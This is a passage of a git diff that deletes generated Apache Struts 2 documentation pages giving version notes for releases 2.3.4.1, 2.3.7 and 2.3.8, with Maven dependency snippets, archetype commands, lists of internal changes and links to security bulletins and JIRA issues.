-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2341.html b/content/docs/version-notes-2341.html
deleted file mode 100644
index 9e3da68..0000000
--- a/content/docs/version-notes-2341.html
+++ /dev/null
@@ -1,202 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.4.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2341.html">Version Notes 2.3.4.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.4.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30146814">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30146814">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30146814">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30146814">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30146814">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30146814">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.4.1 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-234.html">Version Notes 2.3.4</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.4.1&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/2.3.4.1/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.3.4.1-InternalChanges">Internal Changes</h2>
-
-<ul><li>token parameter names are now decoupled from their respective session names</li><li>parameter name length is now restricted</li></ul>
-
-
-<h3 id="VersionNotes2.3.4.1-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" href="s2-010.html">Security Bulletin S2-010</a></li><li><a shape="rect" href="s2-011.html">Security Bulletin S2-011</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311041&amp;version=12322543">JIRA Release Notes 2.3.4.1</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.4.1-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12321674">Struts 2.3.4.1 DONE</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.4.1-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-237.html b/content/docs/version-notes-237.html
deleted file mode 100644
index 1bc75a2..0000000
--- a/content/docs/version-notes-237.html
+++ /dev/null
@@ -1,202 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.7</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-237.html">Version Notes 2.3.7</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.7</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30738057">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30738057">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30738057">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30738057">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30738057">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30738057">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.7 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-2341.html">Version Notes 2.3.4.1</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.7&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/2.3.7/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.3.7-InternalChanges">Internal Changes</h2>
-
-<ul><li>New plugin was introduced to support Tiles result in Portlet environment</li><li>Allow Package Inheritance in Plugins <a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-3870">WW-3870</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.7-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311041&amp;version=12323448">JIRA Release Notes 2.3.7</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.7-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12322660">Struts 2.3.7 DONE</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12322661">Struts 2.3.8 TODO</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide&amp;requestId=12318399">Struts 2.3.x TOD [...]
-
-
-<h3 id="VersionNotes2.3.7-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-238.html b/content/docs/version-notes-238.html
deleted file mode 100644
index f2cc4fb..0000000
--- a/content/docs/version-notes-238.html
+++ /dev/null
@@ -1,202 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.8</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-238.html">Version Notes 2.3.8</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.8</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30740154">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30740154">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30740154">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30740154">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30740154">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30740154">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.8 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-237.html">Version Notes 2.3.7</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.8&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/2.3.8/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.3.8-InternalChanges">Internal Changes</h2>
-
-<ul><li>Upgraded to OGNL 3.0.6 which contains important performance improvement <a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/OGNL-224">OGNL-224</a> and some race condition fix <a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/OGNL-226">OGNL-226</a> - thanks to Pelladi Gabor and Johno Crawford</li><li>Solved performance issue introduced by using new FileManager approach - strongly advised to upgrade to latest version as  [...]
-
-
-<h3 id="VersionNotes2.3.8-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311041&amp;version=12323480">JIRA Release Notes 2.3.8</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.8-IssueList">Issue List</h3>
-
